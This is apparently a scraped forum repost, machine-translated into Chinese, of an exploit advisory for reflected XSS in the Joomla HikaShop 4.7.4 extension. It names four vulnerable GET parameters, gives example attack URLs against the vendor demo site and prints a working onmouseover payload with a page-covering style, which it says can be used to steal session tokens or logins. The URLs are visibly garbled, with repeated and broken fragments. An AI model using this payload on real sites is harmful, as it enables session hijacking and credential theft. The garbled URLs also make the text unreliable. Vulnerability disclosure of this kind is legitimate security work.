Joomla Hikashop 4.7.4-反映XSS

[HackApt-37 Team已验证会员]

＃利用标题: JOOMLA HIKASHOP 4.7.4-反射XSS
＃利用作者:饼干
＃日期: 24/07/2023
＃vendor: hikari软件团队
＃供应商homepage3360 https://www.hikashop.com/
＃软件link: https://demo.hikashop.com/index.php/en/
＃JOOMLA扩展Link: https://extensions.joomla.org/extension/e-commerce/shopping-cart/hikashop/
＃版本: 4.7.4
＃测试在: Windows 10 Pro
＃Impact:操纵网站的内容
＃＃ 问候
the_pitbull，raz0r，ins，sadsoul，his0k4，hussin x，sql先生，moizsid09，indoushka
cryptojob（Twitter）twitter.com/0x0cryptojob
＃＃ 描述
攻击者可以将电子邮件或即时消息中包含恶意URL的链接发送给受害者
可以执行各种各样的动作，例如窃取受害者的会议令牌或登录凭据
PATH: /INDEX.PHP
获取参数'From_option'很容易受到RXSS的影响
https://website/index.php？option=co...awfilter=1module_id=102cid=2from_option=[xss] from_ctrl=from_ctrl=productfrom_task=listingfrom_task=listingfrom_itemid=103
PATH: /INDEX.PHP
获取参数'from_ctrl'很容易受到RXSS的影响

正在加载...

demo.hikashop.com

PATH: /INDEX.PHP
获取参数'From_task'很容易受到RXSS的影响
https://demo.hikashop.com/index.php...option=hikashopfrom_ctrl=prododoductfrom_task] 33 from_option=fom_option=fom_opt
PATH: /INDEX.PHP
获取参数'From_itemid'很容易受到RXSS的影响
https://demo.hikashop.com/index.php...m_hikashopfrom_ctrl=prom_ctrl=prom_cprom_task [listsiffrom_task]
[XSS有效载荷] : uhqum'onmouseover='alert（1）'style='位置:absolute; width:100％;高度:100％; top:0; top:0; left:0; left:0;'wcn46;'wcn46
[-] 完毕

 

H

10月CMS v3.4.4-存储的跨站点脚本（XSS）（认证）

H

Perch v3.2-持续的跨站点脚本（XSS）